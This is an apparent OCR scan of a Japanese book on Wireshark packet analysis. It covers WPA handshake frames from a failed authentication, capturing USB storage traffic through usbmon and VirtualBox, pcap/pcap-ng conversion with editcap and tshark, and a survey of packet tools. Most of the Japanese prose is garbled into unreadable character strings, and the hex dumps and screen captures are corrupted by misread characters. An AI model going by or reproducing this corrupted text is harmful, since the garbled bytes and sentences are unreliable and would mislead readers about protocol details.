® IEEE 802.11 pata, Flags: ...... @ IEEE 802.11 pata, Flags: ......F.
® Logical-Link (on(ro1 @ Logical-Link control
£ 802.1X Authentication = 802.1X Authentication

version: 1 version: 1

Type: Key (3) Type: Key (3)

Length: 95 Length: 119

Descriptor Type: EAPOL WPA key (254) Descriptor Type: EAPOL WPA key (254)

@ Key Information: 0x0089 Key Information: 0x01c9

Key Length: 32 Key Length: 32

Replay Counte Replay Counter:

Nonce: 7F7SZDFOOEDIF17SZCZECBSFEODS2083513FBZEMD77ESBD Nonce: 7F752DF00£DIF17EZCZEC65FEODSZO83513FBZGMD77658D =

Key IV: Key IV:

WPA Key RSC: 0000000000000000 WPA Key RSC: 0000000000000000

WPA Key ID: 0000000000000000 WPA Key ID: 0000000000000000

WPA Key MIC: WPA Key MIC: 3AAF2ABDE43F4680389543F2A20D57F6

WPA Key Length: 0 WPA Key Length: 24

@ WPA Key: DD160050F20101000050F20201000050F20201000050F202

< i »

00 14 6C 7e 40 80 90 16 aa aa 03 00 00 00 88 8e 001000 14 6c 7e 4080 30 16 _aa aa 03 00 00 0088 ge 1.

103 00 5f fe 00 89 00 bpq01 03 00 777%e 01°c9 00 20 00 00 00 00 00 00 0
01 7f 75 2d f0 Oe di f1 & ERlo: 77 75 2d Fo 0 a1 f1 78 2c 20 cb 57 a0 43 20
53 51 37 b2 6d 4d 77 65 8d 8¢ 27 bd Tc cf bS d4 i les S 17 65 Ga G4 07 65 bd ac o5 b4 e of ba a4
i 00 00 00 00 00 00 =

< w T

11-18 Replay Counter7 1 —JLRICE > TF v LoV ELARLREJHCTES

WPANY Ry x4 7 W T LIBIEDBRIIT DL, 7 ATV NeT 7R ARAL Y MHTOTF—5 D
BZEVPHENET,

11.8.4 WPASZIDRE

WEPOD & & LRI, 2—HF—DBWPAF—2 AN L72ICdh0bbd, 7747 tD2—F 4
VT ADBERTERVEVI VARV AE[ToETHNLRTVWETLEL) . 2DO7 74 VHT80211-
WPAauthfail.pcap T35

FBEBELHUL FrTF v 7 7 A VIEWPARGEICK D LG MU LI BT ->TwET,
TrANME T =T, ik TV VI =Yg YERPFEEINTwET, WPANY FY = A 7138%F
Ho % v PTIRE 5> TWE TS, REPFLEEICIND) L7 EG O 4 TId R, 3o P =
2Ty IR LTV ETS,

WPANY RY 24 7 DRHID2O0D87 v b5, 8FHEIFHD /N7 v FTF, L LI Tl
2G4 TVIRET 7 RARL VINEEENSZF X LY VNS TOE T ZOMERE CALEE )
10FBEE11FH, 12FHE 13FHE, ZLTUFHL I5HFATHRIESNTNZ20TY (B11-19),
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Replay Counter iz i 213, Fx L YV E VAR AT HIENTETT,

No. Time Source Destination Protocol Channel Info
9 0.003547 Netgear_B8:ac:82 Netgear_7e:40:80 EAPOL Key

10 1.000549 Netgear_7e:40:80 Netgear_B88:ac:82 EAPOL Key

11 0.000476 Netgear_E8:ac:82 Netgear_7e:40:80 EAPOL Key

12 0.999489 Netgear_7e:40:80 Netgear_B8:ac:82 EAPOL Key

13 0.000511 Netgear_88:ac:82 Netgear_7e:40:80 EAPOL Key

14 0.999012 Netgear_7e:40:80 Netgear_B88:ac:82 EAPOL Key

15 -0.000037 Netgear_E8:ac:82 Netgear_7e:40:80 EAPOL Key

X11-19 EAPOL/N7 v hOEH WPABIENDKE ERL TV

NYRY A7 TOLAN4RETENL &, BEFUH ST, RI11-200X 9512, 16FHD
Ny FTT 7R AR VI LEGEO R R @M S E Lz,

. 16 0.999524 Netgear_7e:40:80 Netgear_88:ac:82 IEEE 802.11 Deauthentication, SI&JL@JLEI&E\

® Frame 16: 26 bytes on wire (208 bits), 26 bytes captured (208 bits)
= IEEE 802.11 Deauthentication, Flags: ........

P Type/Subtype: Deauthentication (0x0c)

@ Frame Control: 0x00C0 (Normal)
Duration: 314
Destination address: Netgear_88:ac:82 (00:0f:b5:88:ac:82)
Source address: Netgear_7e:40:80 (00:14:6c:7e:40:80)
BSS Id: Netgear_7e:40:80 (00:14:6c:7e:40:80)
Fragment number: 0
Sequence number: 551

E IEEE 802.11 wireless LAN management frame
E Fixed parameters (2 bytes)
Reason code: unspecified reason (0x0001)

(VO ICO 00 3a 01 00 OT b5 88 ac 82 00 14 6C 7e 40 80
0010 [ EaN-T R -V 01 00 "R

C J

E11-20 WPANURY A IH KRB, SREEN KEIL /-

11.9 F&H

HARLAN BB DL H TV L F 27 TERVEEZ ONTVE T, ST SFRMEE~OW KA % «
EHATVET, EMLANNORATL L BT, AMLAN L FBRICT — 7 OF v 7F ¥ LRI AT 2
LX) EPEFICEREIILS>TETVET, CORETEALZAFINVEMESITEELLOTIE
HYFREAN, Ty MEFTHICL 2 RILANDO NS TV 2a—T 4 Y 7O L S % IR 2 DI
21F3 T,
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48R A
USBR—MDBIEF VYO F+

B X125

fHEk AL HAGERA ) ¥ 7V OFL ST, Wireshark & iV CUSB 751 A LR A ME DS % F v
TF 2T L HEIOWTHHR L E T, [Wireshark = 4 v N7 — 27287 v M v 7 F v &gl Y — v |
I TIE RO TTA, Wireshark 05 ENDAOHBETH Mz 5 Z LIZEIHNZAONTWERA, K
Tk, [Zhlsh o o 2L LT, Wireshark 2 & % USBR— hOiilifg ¥ v 7F v % it
L ¥9, OSEELIE. Ubuntu 11.10 Desktop & ffiv 37,

A1 LinuxVYVICOBIFTEUSBTFINA AL DBEZF Y ITF+ TS

Wireshark Cld. Linux /7 — %V CTusbmon 25 F I 7% > TV B 512, Ui — AV EfEL T
W52 =7 DUSBER— MIORINTZTNA ADT/OHEROF v 7F ¥ 250 HETT o

ZZTld. AT S 7% USB # €1 (USB Mass Storage Device) % ¥ ¥ 7F v 5 & LT, T
EHHLET,

A.1.1 WiresharkZA4 X b=ILTD

Ubuntu (235812 Wireshark % 4 Y A M=V L FT, TNTULELRY T 72T 0NEMTEET,

A.1.2 USBFIN\A RA&DEIFSD
TP 1lsusb A Y FEFEIT LT, TN ZAOFERNZ MR LT3, SHOBEETIIUTO L) IS
0 FE L7z FEARMIZBus 001 D FIZUSBF NS ADRS ENBEIE) T,

wakatono@packman:_$ lsusb

Bus 001 Device 001: ID 1déb:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 003 Device 001: ID 1déb:0001 Linux Foundation 1.1 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

Bus 005 Device 001: ID 1déb:0001 Linux Foundation 1.1 root hub
Bus 005 Device 002: ID 0483:2016 SGS Thomson Microelectronics Fingerprint Reader
Bus 001 Device 011: ID 0718:0638 Imation Corp.

S
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USBTNA ZA%D%1F5 & EONAHFE ENLDONITONTIE, O LOWRTILEL TBW
TLEZ v,

A.1.3 WiresharkZziE8IL. USBA /9 —T 1A AZERT S

root HEBR C Wireshark 228 L 3, W< OPEENRIIRINI b LLEEAD (RIA-1), K
TIREBLEL X 9. Wireshark®7 4 ¥ Y OLEDFIFITEREN TS [Interface List] # Wi
W FYTFAURERA VI =T 2 A ARNALRERDLIVET (RA-2)s ¥ TFXYREDOTINA R
PEREEINTVENZRE 7Y v 7 LTLEE W, SHOY4E1 [USB bus number 1] T3,

Running as user "root" and group "root".
o This could be dangerous.

I you're running Wireshark this way in order to perform live
capture, you may want to be aware that there is a better way
documented at
Jusr/share/doc/wireshark-common/README.Debian

["] Don't show this message again.

HA-1  root¥efR COFEE - T 3 BLHEE

EIE]

Filter:‘ Expression... Clear Apply

The World's Most Popular Network Protocol Analyzer

Version 1.6.2
Capture ________ Files _________§ ______ oOnlin
= Interface List Open o Website
Live list of the capture interfaces Open a previously captured file Visit the project's web
(counts incoming packets)
Open Recent: U i
Start capture oninterface: e User's Guide|
[fhome/wakatono/seccon_ctf.pcap (4496 KB) The User's Guide (onli
B etho
] pseudo-device that captures onallinterfaces Sample Captures security
i usebusnumber1 A rich assortment of example capture files on the wiki Work with Wireshark 2
§ usBbus number 2
i uUsBbus number 3
§i USBbus number 4
§ UsBbus numbers
2 lo
il Capture Options
Start a capture with detailed options
@ Readyto load or capture No Packets Profile: Default

KA-2 ¥+ TFvulfERM12—T 11 X—8
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A1.4 FvrITFvriEROMESR

Wireshark ZEBH L. ¥+ 7F ¥ DR, USBAE)AOF—FDa¥—2RHEL ¥, a¥—
W5 T L7256, Wireshark TOF ¥ 7 F v 2L L THF Yy 7 F ¥ 77— %2 77 A VITEESILET,
FXTFX 77 ANEBRFIZ USBFNAL AL ARZAMDOMOL/ONEH (2~ > M) 2Rty (K
A3), 7275, BUBENADIZ T 7A NV AT LADEMFT— 4 L A<y FORYIYDATT, FA b
EFNA AR TRYVY SNZZEBEOIE—F—F71E, F¥y 7 Fr 774 MEHINTE A

Capturing from USB bus number 1 [Wireshark 1.6.2]

File Edit apture Y 5 Internmals Help

L i 8 A3 T & B8 aqef gEls -

Filter: | Expression... Clear Apply

No. Time Source Destination Protocol Length| Info
269 53.994739 host 111 UsB 64 URB_BULK in
270 53.994842 1. host UsB 77 URB_BULK in
271/53.994979 host 1.2 USB 95 URB_BULK out
272 53.995092 11.2 host UsB 64 URB_BULK out
273/53.995107 host 1.1 USB 64 URB_BULK in
274 53.995216 1. host UsB 77 URB_BULK in
275 55.995506 host 1.2 UsB 95|/ URB_BULK out
276 55.995662 1.2 host UsB 64 URB_BULK out
277 55.995690 host 111 UsB 64/ URB_BULK in
278 55.995779 1. host UsB 77 URB_BULK in
279 55.995916 host 1.2 UsB 95 URB_BULK out
280 55.996032 1.2 host UsB 64 URB_BULK out
281 55.996046 host 111 UsB 64 URB_BULK in
282 55.996153 1.1 host USB 77 URB_BULK in
283 56.048534 host 11.2 UsB 95 URB_BULK out
284 56.048651 1.2 host USB 64 URB_BULK out

> Frame 255: 576 bytes on wire (4608 bits), 576 bytes captured (4608 bits)
> USB URB

0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 .
0210 00 00 00 00 00 00 00 00 00 0000 0000000000 .
0220 00 00 00 00 00 00 00 00 00 00 00 00 00 000000 .
0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .

@ USB bus number 1: <live capture in... - Packets: 776 Displayed: 776 Marked: 0 Profile: Default

HA-3 USBT/ 1 XEFRZ MEIDXV)ELY

A.1.5 EBEDOLinUXIBIRTF v+ IF+IBICIE

USB#ifE D ¥ v 7 F v #Eigid. Wireshark OFEGE & V9 X D1, Wireshark2SHWTW5 5475
1) libpcap DERET¥ o F 72, libpcap DN —V a3 Y IZL 5 TIEUSBF v 7 F X D72 D /8y FH3
PERZELHVFE T, D720, Linux BB TUSBTFNA ZADF ¥ 7F ¥ 2479 1213, T o%&Mt
7T LESHY E T,

1. usbmon 2SE#NIC 7 -7z Linux 7 — A Vw5
2. USB&Fx 7F ¥ D72dD 8y F A5 S7z 1ibpcap # ¥ $ %

S
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3. LEc2. CH#Efif L7z 1ibpcap # V> 5 Wireshark # #4935

Ubuntu 11.10 Desktop l&. T D52 BEdE S — AV B X OREHE Ny r — VTl LT ET,

A.2 WindowsTaEEUIUSBTF NS ADI/OZE=5—TFD

Windows it ® Wireshark TliZ, USBT /N4 ADI/O % HIEE=F =5 ENTEEFA, LH
L. Windows TRk L72USB T4 ZAD/O %2 E=% —3 5 HEEHY T3,

e VirtualBox I-CWindows Zi#2E) L, XI5 D USBT/NA A% D%1F5
e VirtualBox I-® Windows 227531172 USB /34 ZD USBA— F %, Linux CUSB &34 &
DI/OTEHZ F v 7F v 55D LE LHETHET S

ZO¥4 VirtualBox T 722 USB 7351 A% ik CEX L L) ICT BN H ) 3, I TIE,
USB 7754 2% VirtualBox TR TE 2 )12, #ikSN72NZAD1/0 % Linux ETF v 7F v ¥
BHBFZOWTRH L F T BREICL > TR TEDHRICH TEVIZISH 925, i~ v ke
13V 2 Windows ® USBilifg B §A5 2 LS TE L L W) DIFAHTY .

9 5 B ERTHT & W UT¢, VirtualBox 24 ¥ A M= L4 54 2 k 0SiZ Windows XP SP3.
FNA AF5 R USBAEY Z#H L F L7,

A.2.1 VirtualBoxZzA/4 X b=ILTD

Ubuntu®/8v r =V <2 =V X IS TA Y A=V LT,

A22 1-Y-—-%ZENMTS

Linux Lo 7V — 712, VirtualBox # Biff &¢ 512 —H—%2BML T, Thzirbiawe, USB
R=MIOBRDPNIZTNA A Bk 8L N TETEAL 5L /ete/group # Mtk LT, 7V —
7 (vboxusers) |22 —#— (wakatono) #3BML F L7z,

vboxusers:x:125:wakatono

A.2.3 KAPOSZHEHTD
Vo7 A OSEHREIL T, 21— —HOLH & L E T,

A.2.4 VirtualBoxh SR B LWUSBFINA XA EDEIFSD

USB7 /N A 2z WHIZ ORI TLEE WV, 7272 L, USBAEY AT LEHEBI v Y EN
TLEIHIDT, &D/2HDUSBAE)DOXY Y ML TBEE T, LLFOBITIE, /dev/sdbl A’
USB X EY 275D T, umount /dev/sdbla<x v FZETLET,

S |
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root@packman: # mount

/dev/sdal on / type ext4 (rw,errors=remount-ro,commit=600)

proc on /proc type proc (rw,noexec,nosuid,nodev)

(FhEg)

gvfs-fuse-daemon on /home/wakatono/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,
nodev, user=wakatono)

/dev/sdbl on /media/5017-E8DB type vfat (rw,nosuid,nodev,uid=1000,91d=1000,
shortname=mixed, dmask=0077,utf8=1, showexec, flush,uhelper=udisks) «@USBX¥E!

A.2.5 VirtualBoxZ&&UL. &7 /\1 A% VirtualBox LD S5EZXSH&L51CTH

VirtualBox Z#2H) L 37, & L T 5 0SOKHiEHIA Oracle VM VirtualBox ¥ 4 — ¥ ¥ k2
FIRENDLDT, 2275 [USB] #BIRLTFNA A7 4 V& ZAEK L T3, USB D% E Wi T, [+]
TAaAYR Y9I LTTIANE ZHRELTLEEZ N (RA-4), USBAEY HD 40> THIUE, 7
WA ARFIRDPENLDTF 2y 7 LTLEE W (KA-5).

—# usB

SRT A

FrRTLA B USB 1 + D—3 = FIE()
®2rL—v [ USB2.0(EHCN) 3 + O—3F % HHL(H)
B - a7 USB 5754 2 7 1 )b % (F)

@ ryb7—2 "] 1-0 DATA USB Flash Disk [0110]

[ BT S e Imation Nano Pro [0100]

# USB

B #F7405

2R B RS

ZBADYZ } o REDHTIY ERL, REBE&# 777 —"—L THHELIE
HESBFL T,

[~n7H) (*ren@ Lok ]

HA-4 USBOEEBEME, [+] 74X %2 T7) vy ILTT(IVEEFEET S




260 | (152A USBi— hOBEF ¥ TF v

B usB

LAFL

=2 TLA B USB 3> t 0—3 & HHL()

@ =2pL—v [ USB2.0(EHC) T >~ + 0—5 % AEH{L(H)
B -1 USB Fs54 2 7 1 L5 (F)

& xyb7—7 [J 10 DATA USB Flash Disk [0110]

B o uFnsi—t [ Imation Nano Pro [0100]

& UsB [& BUFFALO USE Flash Disk [4000]
EH#E7 405

LRBER B

RET DT ~TOUSBZ LR %2R LRRLET, EOFzv oy 2 A,
BEO7 A LRATIRICEhZ S E I reERLET. USB7 1 L2 2E8BMT 24,
FUEETABER I TFA LA 2 — AR EERHLT (S L,

~ -7 (H) v (0 u

HA-5 USBF/\A XpBINE /-5 EEE

A.2.6 Windows & Wireshark E&&U., WkEBH K- MEBRUTF ¥ TF v E1TS

Windows %283 2 A, Fifi &3 & A LTH U T3 Wireshark ® X =2 —#%5 [Capture] —
[Interfaces] #EINL., Fr 7 F xR v 5—7x24 2 (KA6) FERL, ¥ 7 Fri%o
TNA A% =B BN L TLAEE v, USB TN ZAA3 R ST w52V A 1 [usbmonl USB bus
number 1] T3,

Wireshark: Capture Interfaces

Device Description IP  Packets Packets/s Stop
& etho unknown 0 0 start | Options
2l any Pseudo-device that captures onall interfaces unknown 0 0 Start | | Options

§ usbmon1 USB bus number 1 unknown 575 (1] @J Options

§ usbmon2 USB bus number 2 unknown 3 0 @J Options

§ usbmon3 USB bus number 3 "y 3 (

§ usbmon4 USB bus number 4 unknown 3 0 @J Options

i usbmons USB bus number 5 unknown 4 0 @J Options

#llo 127.001 0 0 @j Options

=T esta)

KA-6 F+TFvalfELI > 2—T 11 AD—F
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%12, VirtualBox ECHE)WVTv 2 Windows 25 USB AEVIZ 7 7 A V& a¥— L E 5, 4lid
Windows ® EULA. txt (C:¥Windows¥system32¥EULA.txt) # USB AEYICTE—-LTH T L7,

A27 FvIFvER

R A-712, Wireshark TOMER#E R %2R L E 3o EULA. txt 2 FNTWB HAZE (JEASCIILT)
D513, Packet Bytes X4 ¥ T FLFRTE TV EL AL, MICROSOFT 251t % % L T51@Q
A5, USBAEICHEST =y 2B TETVDLIERDIYFT,

winusbcap.pcap [Wireshark 1

File Edit G atistics Teleph s Intern:

S ddee I EXCE Ae-23T 4L

Filter: I v | Expression... Clear Apply

No. Time Source Destination Protocol Length | Info
865 113.095959 host 131 UsB 64 URB_BULK in
866 113.096116 13.1 host UsB 77|URB_BULK in
867 113.098947 host 13.2 usB 95 URB_BULK out
868 113.098982 13.2 host UsB 64 URB_BULK out
869 113.101041 z ] 8256 URB_BULK
870 113.102866 13.2 host UsB 64 URB_BULK out
871 113.103063 host 13.2 USB 8256 URB_BULK out
872/113.103367 | 13.2 host usB 64 URB_BULK out
873 113.104079 host 13.2 UsB 8256 URB_BULK out

URB status: Operation now in progress (-EINPROGRESS) (-115)

URB length [bytes]: 8192

Data length [bytes]: 8192

Response in: 876

[bInterfaceClass: Unknown (0xffff)]

Leftover Capture Data: 837d8343834e838d835c8374836720835c83748367834583. ..

0040 83

0050 74

0060 cc

0078 91

0088 49 WINDOWS

0098 53 [ESSIONAL EDITION|
0028 Ba ..SERVI CE PACK
eebe 0a 3 3 . Ve
00ce 83 .

CLLE] 82

00e0 od

oefe 70

0108 ba

0118 a2

0120 7b
© Pad

BA-7 Wireshark & + 7F v L/zZUSB7F/ 1 X ED@EfE

oa

Profile: Default

A3 F&H

AREFTIXUSB AR Z N L HERDOF v 7F ¥ HFEICOWTHHL, EDXIBT— 2T TES
PIZOWTHEIRLE L7 LA L, SSICHEITOEHLETHIITEEF A, EDLILTNA R
WD) I FHERE T .
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A4 BENE

CaptureSetup/USB - The Wireshark Wiki
http://wiki.wireshark.org/CaptureSetup/USB




——

| 263

(152 B

pcap-ngfzzl «— pcap 28
DF—IER

B ACH

X BIZHAGER A ) Y F LV OFREH TS, Wireshark 1.8.0 LU THEE# 07— ¥ B & % 5 72 peap-
ng TIA, TOF—FERIILEI S MibNTE Zzpeap & IZHBEMETHY THA, TD728, peap
U LIS L TWiawy — L Tld, pcapng BT =220 F FHNTAHZ LI TEEHA,
AFETIE, peap-ng B, TIAE N7 F — 7 % peap BT L4 2 T, peap B TIRAE S F—
¥ % pcap-ng IR EIT 2 L AN LET.

B.1 pcapfex& pcap-ngHiziDOBIE

peap B3, tepdump THUF L7287 v bW IS 7— F & LCBHi» s fibhTEF L
720 LFIE, pcap . h TEHEENTW LAY FHEEIATY, caplen & len®20%0%%h 5 D, FEEIC
WA L7eT = RERRDNN Ty VRPN RLEDZEDVHLH720DTT,

struct pcap_pkthdr {

struct timeval ts; /* time stamp */
bpf u int32 caplen; /* length of portion present */
bpf u int32 len; /* length this packet (off wire) */

bi

LU, Wireshark 1.2.11 THE S &1L C\W 5 pcap-ng D7 — ¥ kO —F T3 BARIZIE, 237y
PTLIALAY FIERDVEDEBEZFSLTVET, 2Oy ¥ S5 71y 7 it Enhanced
Packet Block & M-ENF 37 EBRIIZZOAY FIZEHIZ7 0y 7R (328 y M) &#E7Tuy 7 K
(32w M) 23RS E 345, 71y 2 JEKAT0x00000006 D4, 734 v 7 — % 1& Enhanced
Packet Block & L T#lt ) %EMRHY £3,

typedef struct pcapng enhanced packet block s {

guint32 interface id;
guint32 timestamp high;
guint32 timestamp_ low;
guint32 captured len;

guint32 packet len;
/* ... Packet Data ... */

S
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/* ... Padding ... */
/* ... Options ... */

} pcapng enhanced packet block t;

LLTE, UL peapng THibNL, 737 v hTEINLAY FIEROOEDTHY, TDANy FI)
fFIm&E s 7 ay 7idSimple Packet Block & I-iE F 37, 71 v 7 A 0x00000003 D4, /3
r v b7 — %1 Simple Packet Block & LT ) DR H ) 97,

typedef struct pcapng simple packet block s {

guint32 packet len;
/* ... Packet Data ... */
/* ... Padding ... */

} pcapng simple packet block t;

pcapTERTlE, ¥4 L A%V 7OFbidtstruct timeval L HEE SN TWE§, —JFpcapng
JE3L® Enhanced Packet Block N> ¥ Cid, timestamp_high & timestamp low® 20D {H % H
WG, 197041 H 1H (UTC) 226~ A 7 O AL TRl L7z A2 64 ¥y ML LTRIFT 2 X9
o TWE T, HWiFIEVhW5 2038 EMEDREEL ZIT 34 BBIWRLREEZRZ T3,
1970 1A 1HZS (2% 1) <4 7 il LK F CIRZ 3 (BB X258 HAEREDHIM),

B.2 pcap &pcap-ng TTr—EBRDUNRISIER

peap-ng JERUTIRIT IZ R o> TlED NGO /27— XTI D720, DHihbflioTng Yy —
BRI L TORWEAELH) T X1l bbAHA. TNEHDY — L peap-ng IR LT iU
VO TER, HVENZY — V5TV Z OB TY . 72, snort [X#k2] % ngrep [X#k3]
DY =T, peapng W TG L7217 v b F—F 27wk nw) 2 HLHTLE D W,
ELLDERL T Y v F = ZDLDRBZOHIRFHELTVLEDOT, ANy FOEEEITH T & THf
B HETT o UFTIE, 237y b7 — 7 2 -F LoD pcap I\ & peap-ng IEA DB TF7 — & £ % 17
A HEZOWTHIIL T,

B.3 ZTRGE

editcapld¥F ¥ 7 F v T — ¥ 2 BMETAH72DDOMHE R ATV FIA VY=V TTAH, 2OV —IZ
R A EIRT 28D H Y T AKASIE, peap-ng A5 peap ERANDZEH & AN ) <
ETTD, AR CEFHBEOESE L. peap XA 6 peapng IERANDEW & NI T 5o L0 EEH
%15 AY Wireshark Wiki [X#ik4] [ZFLR ENTWEDOTHHL TLZE W,

B.3.1 pcap#zt — pcap-ngfizit
UFDX)iZeditcapa v ¥ K& FETT 5 & T, pcaplE XD file.pcap . pcapngEX D
file.pcapng \ZZE#TE T3,

S |
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editcap -F pcapng file.pcap file.pcapng
Wireshark @I <> F5 4 VI S 25 tshark A~ ¥ FThH, AL EZ472 $3,

tshark -F pcapng -r file.pcap -w file.pcapng

B.3.2 pcap-ng#;zl — pcapfz
DTFokHlleditcapa~ ¥ F& 94T 5Z & T, peapngZA D file.pcapng &, pcap ER D
file.pcap lZZMTEX E 9,

editcap -F libpcap -T ether file.pcapng file.pcap

pcap 2> & pcap-ng B AD L2 1Z tshark 2 < ¥ FH M 2 9%, pcap-ng B % pcap ¥
NITEH T HB U tshark AY Y F&f) 2 L TIETEEFHA EITL L9 & LTH, [tshark: The
capture file being read can't be written in that format.| &\»9 * vt — UH T &, L)
fTONFITHTLTLENET,

B.3.3 pcap¥pcap-ngDI7 7 ALY 414 XAHEKXKICKEDIHES

Wireshark i3, pcapZ R pcapng b D7 7 A MIBRIFENT N r v b TF— 5 ZFTRXTRXEY
WEMLTALRHMAEITEY) L LET, TDO, 77AVDBERIERD L, EOT 74 VETRT
FARGTZTOAT)PLIII R E T, ABRYDPAET L L) BHAICETar S AR RERT
THIELHYTT, —fTeditcape EDY —Vid, BRUHERZ 77 A MIZEEHT X
fELNTWE T, tshark T L7z & 2 A, 500MB D pecap 7 7 4 )V % Wireshark Tt A tr 7213 T
LV IERIAS A . BRERE 7 7 A MICHE BT O 15U Lo 2220 F Lz, — /T,
editcapZ M UBRBE T L72L 2A, 1020550 O WVORETEHRISE T LE L7,

PIE U Tl 2 o= > PR RIEZ R AT & T R Z3 v b7 — & QUL GBI 2%
DFFTOT, BEHEIT Y ORI E EBIMS L TBLILeBEIOLET,

B.4 &E3#

[X#k 1] Wireshark and Pcap-ng
https://blog.wireshark.org/2012/03/wireshark-and-pcap-ng/

[X#k2] Snort :: Home Page
http://www.snort.org/

[X#k3] ngrep - network grep
http://ngrep.sourceforge.net/

[3Z#ik 4] Development/PcapNg (Wireshark Wiki)
http://wiki.wireshark.org/Development/PcapNg

S
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HEES AR

ARECIFIMH L7y — Vid Wireshark TS, 237 v M 2 4T3 58503, — B o7
NWya—T4Y7, 2y NI =278, ¥ 2 74O, Ay T =27 00T TH-TH,
ZITRTY =B RWIEVLDOTLE ) o SOETIIEHL /Yy Mgy — v & 237y Mg
DB HRT L & TRALE T

CaA I\rv MEgERY—-IL
Wireshark IZHI 2. 737y MENIICHH Y = V3L Oo0H 0 Ed, T TRERICH S TAT
FEFIRICT 72D WO LT T,

C.1.1 tcpdump &Windump

Wireshark i3 JEH I AL AH ) T35, tepdump I &I E K L TWAWTL X 9o tepdump id
CUIR—=ZADY =V TTN, S DAL DT/ v M v 7F ¥ BLOEITY — VO SERIEHE L A
HEINTVET,

tepdump 2777 4 v 7 HEREIEH Y THADS, 728 2 Linux D sedRawk &\ o7-a~ v FTH
NENALTTEHHE, REOT—7 %W LEIEIEFITERTT, 237y MENT 2 HK L T»{
\Z2 M., Wireshark & tcpdump ®ij )7 % 430175 2 L1275 TL & 9o tecpdump i3 http://www.
tecpdump.org/ T¥ 7 > u—KFT&FJ,

Windump i tcpdump ® Windows i ¢, http://www.winpcap.org/windump/ T# =7 ~ & — F1J
ETY,

C.1.2 Cain & Abel

2 CTHI L 72X 912, Cain & AbeliZARPF % v ¥ 2K V' =V F % ETT 5720 Windows H
Y — )V CT, Cain & AbellZIEFIZRAETH Y, ILDOHETLFIHTESLTL X9, http://www.
oxid.it/cain.html TAFTX F7,

S
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C.1.3 Scapy

Scapy lZPython 54 75 ) C, CUIODAZ ) T e flio Ty e lEl, i3T5 2L TE
F3, HoTANIE Scapyldy, o L DM P OFKNEDDH B8 v MERT TV r—3 a3 T,
http://www.secdev.org/projects/scapy/ C Scapy D #£fll %2 A 7 1) 7 b o4 > 7V, F7zScapy D
LTy u—FTEFET,

C.1.4 Netdude

Scapy 1T & ERE 7 b O RE TR IFIUE, Netdude 23H] T3 (Linux 1)), Netdude DHEREIX
BRoNTWE 325 REHOT v FEER, BIET 5B, FFFITHVLTWGEUIZ A T E T,
X A-11% Netdude i JH 5] T3, Netdude & http://netdude.sourceforge.net/ T4 w7 > 1 — F ]
T9o

File  Edit Go Protocols  Plugins

clay1 log E

[Tepdump log (1.31% of file at 45 54% offset) |
16:56:46 BEO0R4E E1.219.90.180. 56712 » 192 16%8.100.28. 1524 . ack 3127732936 win 20090 <nop,nop, timestamp 436320
16:56:46. 970627 192.18.99.122. 20 » 192.168.100. 28, 32734 | 4095427529: 4095428989 {1460 ack 3231226452 win 24820
16:56:46. 970627 192,168,100, 28, 22794 » 192.18.399.122.20: . ack 1784 win 24820 (DF)

1& B27 1 1& an C24 » £1.219.890 SE712: P 1 1y ack 0 win 24616 <no

2 1 > 19 e k 1 win

16:56:47. 120617 132 168,100, 28 22794 » 192.18.399.122.20: . ack 3244 win 24820 (DF)

16:56:47.190612 £1.219.90.180. 56712 » 192 162.100.28. 1524 . ack 2 win 20030 <nop,nop, timestamp 48632098 112323
16:56:47.190612 132,168,100, 28,1524 » £1.219.90.180. 56712 P 2:4{2) ack 0 win 24616 <nop,nop, timestamp 11338355
16:56:47 400598 £1.219.90.180. 56712 » 192 16%8.100.28. 1524 . ack ¢ win 20030 <nop,nop, timestamp 48632113 112323
1R-GR-47 R4NGAT 192 18 99 122 20 > 192 1R& 100 *& 372794 - A744 4704 F14RNY ark 1 win 24820 MFY [fns xRl

Settings  Debugging Help

op, bimestamp 1133833532
3y [tos Oxd

IF )

T T

Sre. part (203 Il Dist. part (32784}
Seq. number (4095429313
Ack nurnber (3351256452
Drata offset {53 Unusged (0% U PIR|S]|F

Win (24820
Urggent {0}

200 packets. [[——2— || Feal size: 1514 bytes, captured: 1514,

LLLL

XA-1 Nedtude T/ NEIEIET S

C.1.5 Colasoft Packet Builder

Windows L —H—"TNetdude ® & 9 7 GUIZEK LW #5413, Colasoft Packet Builder 5 X W\ T
L X 9. Colasoft THIRWVRTWGUIT/ 7 v FOMERLIBIEA T fETT o Colasoft ikl 7 +C,
http://www.colasoft.com/packet_builder/ 75 AT HETT,

S
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C.1.6 CloudShark

QA Cafe »'Bi%& L7z CloudShark i, $7 v b ¥ 7F ¥ %4 v ¥ =% v b ETHAETELH A T
To TITIHPFNT, ¥ 7F v 774 NV%E WiresharkJBIZFERT A2 EHNTEET (BA-2), Fv7
FXT7ANET vy 70— LT EHLEWHFIZY v 729852 LT, — I TE £,

2 c

History Del Bookmarks Tools Help

Eie i E
@—' c & [ (& hprcowdsharkorg/captures/TesTaszebi20 73 -] [ Googte

| Infragard Login Bl Army ATC System *"; Welcome - iferay.com

‘Cloudshaﬂ( Navigate: [« |[ = |[ 7 |[ 2|11 Fiter + Apply

o, Jrm =

1 0.000000 172.16.16.128

1: 66 byces on wire (528 bits), 66 bytes caprured (528 bits)
7d:4a (00:21:6a:5b:7d:4a), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:dc)

B -16.128 (172.16.16.128), 74.125.95.104 (74.125.95.104)

smission Control Protocol, Stc Port: 1606 (1606), Dst Port: ww (80), Seq: 0, Len: O

0000 00 05 5d 21 99 4c 00 21 6a Sb 7d 4a 08 00 45 00  ..]!.L.13[}J..E
0010 00 34 40 £2 40 00 80 06 53 5 ac 10 10 80 42 7d  .48.8...5\....d)
0020 Sf 68 06 46 00 50 7c 23 Sa b7 00 00 00 0D 80 02  _h.F.PI4Z

0030 20 00 Ob 30 00 00 02 04 05 bé 01 03 03 02 01 01 o

0020 04 02

Done

KA-2 CloudShark CR=F+ 7F v 77 1 ILDY LTIV

CloudShark D5UZ A5 T3 L 2 AHIE, BEPALET, URLNDY Y I P LBEET 7L ATES
PETT DEVASDTOTIZPCAP 7 74 WAD) ¥ 7 2T h L, TNz s v s 35
BITr o 2 RoNL5DT, 774 VD% v u— X Wireshark TR FRIPE T T3,

